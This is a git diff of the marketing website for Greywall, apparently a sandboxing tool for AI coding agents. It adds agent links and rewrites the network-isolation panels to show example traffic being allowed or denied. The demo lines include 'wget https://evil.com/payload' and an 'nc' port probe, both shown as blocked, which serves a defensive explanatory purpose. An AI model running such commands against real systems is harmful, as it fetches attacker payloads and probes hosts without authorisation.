diff --git a/app/page.tsx b/app/page.tsx
index 023934d..ded1c20 100644
--- a/app/page.tsx
+++ b/app/page.tsx
@@ -19,8 +19,8 @@ export default function Home() {
-
+
diff --git a/components/agents.tsx b/components/agents.tsx
index 5eca0bf..556415f 100644
--- a/components/agents.tsx
+++ b/components/agents.tsx
@@ -1,16 +1,16 @@
import { CheckCircle2 } from 'lucide-react'
const agents = [
- { name: 'Claude Code', org: 'anthropics' },
- { name: 'Codex', org: 'openai' },
- { name: 'Cursor', org: 'getcursor' },
- { name: 'Aider', org: 'Aider-AI' },
- { name: 'Goose', org: 'block' },
- { name: 'Amp', org: 'sourcegraph' },
- { name: 'Gemini CLI', org: 'google-gemini' },
- { name: 'Cline', org: 'cline' },
- { name: 'OpenCode', org: 'nicepkg' },
- { name: 'Copilot', org: 'github' },
+ { name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
+ { name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
+ { name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
+ { name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
+ { name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
+ { name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
+ { name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
+ { name: 'Cline', org: 'cline', url: 'https://cline.bot' },
+ { name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
+ { name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
]
export function Agents() {
@@ -35,9 +35,12 @@ export function Agents() {
{agents.map((agent) => (
-

-
+
{agent.name}
-
+
))}
diff --git a/components/comparison.tsx b/components/comparison.tsx
index 520d2d2..341d1a4 100644
--- a/components/comparison.tsx
+++ b/components/comparison.tsx
@@ -41,13 +41,6 @@ const rows: Row[] = [
claudeSandbox: 'yes',
containers: 'yes',
},
- {
- feature: 'Transparent network capture',
- greywall: 'Linux',
- safehouse: 'no',
- claudeSandbox: 'no',
- containers: 'no',
- },
{
feature: 'Command blocking',
greywall: 'yes',
diff --git a/components/control.tsx b/components/control.tsx
index 447d7e0..255a432 100644
--- a/components/control.tsx
+++ b/components/control.tsx
@@ -91,66 +91,80 @@ export function Control() {
Network isolation
{platform === 'linux' ? (
-
-
-
-
- Full network namespace isolation — the
- sandboxed process cannot see the host network at all.
-
+
+
+
+ Network namespace + TUN capture
+
+
+
bwrap --unshare-net \
+
tun2socks -device tun0 \
+
-proxy socks5://localhost:43052
+
-
-
-
- TUN device captures every packet at the
- kernel — even binaries that ignore proxy env vars.
-
-
-
-
-
- Domain-level filtering via GreyProxy.
- Allow specific domains, block everything else — adjustable live.
-
-
-
-
-
- DNS bridging — transparent DNS relay
- ensures name resolution works inside the sandbox.
-
+
+
+ curl https://api.anthropic.com
+ TUN → PROXY → ALLOW
+
+
+ npm install lodash
+ TUN → PROXY → ALLOW
+
+
+ wget https://evil.com/payload
+ TUN → PROXY → DENY
+
+
+ nc -z 10.0.0.1 22
+ TUN → PROXY → DENY
+
+
+ Full network namespace isolation — the process can't see the host network.
+ Every packet hits the TUN device and routes through GreyProxy, including
+ binaries that ignore proxy env vars.
+
) : (
-
-
-
-
- Seatbelt network rules block all outbound
- connections except to the proxy address.
-
+
+
+
+ Generated Seatbelt policy
+
+
+
(deny default)
+
(deny network-outbound)
+
+ (allow network-outbound
+
+
+ (remote tcp "localhost:43051"))
+
+
-
-
-
- Proxy-based routing via env vars. Traffic
- from proxy-aware tools is filtered through GreyProxy.
-
-
-
-
-
- Domain-level filtering — allow npm
- registry and API hosts, block everything else.
-
-
-
-
-
- Localhost control — separate config for
- port binding and local service access.
-
+
+
+ api.anthropic.com
+ VIA PROXY
+
+
+ registry.npmjs.org
+ VIA PROXY
+
+
+ evil.com (direct)
+ KERNEL DENY
+
+
+ analytics.vendor.io
+ PROXY DENY
+
+
+ All outbound traffic is blocked at the kernel. Only the proxy address is
+ reachable — GreyProxy then applies domain-level allow/deny rules.
+
)}
@@ -203,7 +217,7 @@ export function Control() {
$
- {platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
+ greywall --learning -- claude
@@ -227,7 +241,7 @@ export function Control() {
{platform === 'linux'
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
- : 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
+ : 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
diff --git a/components/observability.tsx b/components/observability.tsx
index 82b39cf..ea34d57 100644
--- a/components/observability.tsx
+++ b/components/observability.tsx
@@ -1,11 +1,6 @@
-'use client'
-
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
-import { usePlatform } from './platform-toggle'
export function Observability() {
- const [platform] = usePlatform()
-
return (
@@ -26,20 +21,18 @@ export function Observability() {
-
+
{/* Monitor mode */}
-
+
-
- {platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
-
+
Real-time violation monitor
-
+
- {platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'}
+ Live violation stream
@@ -76,14 +69,14 @@ export function Observability() {
{/* GreyProxy screenshot */}
-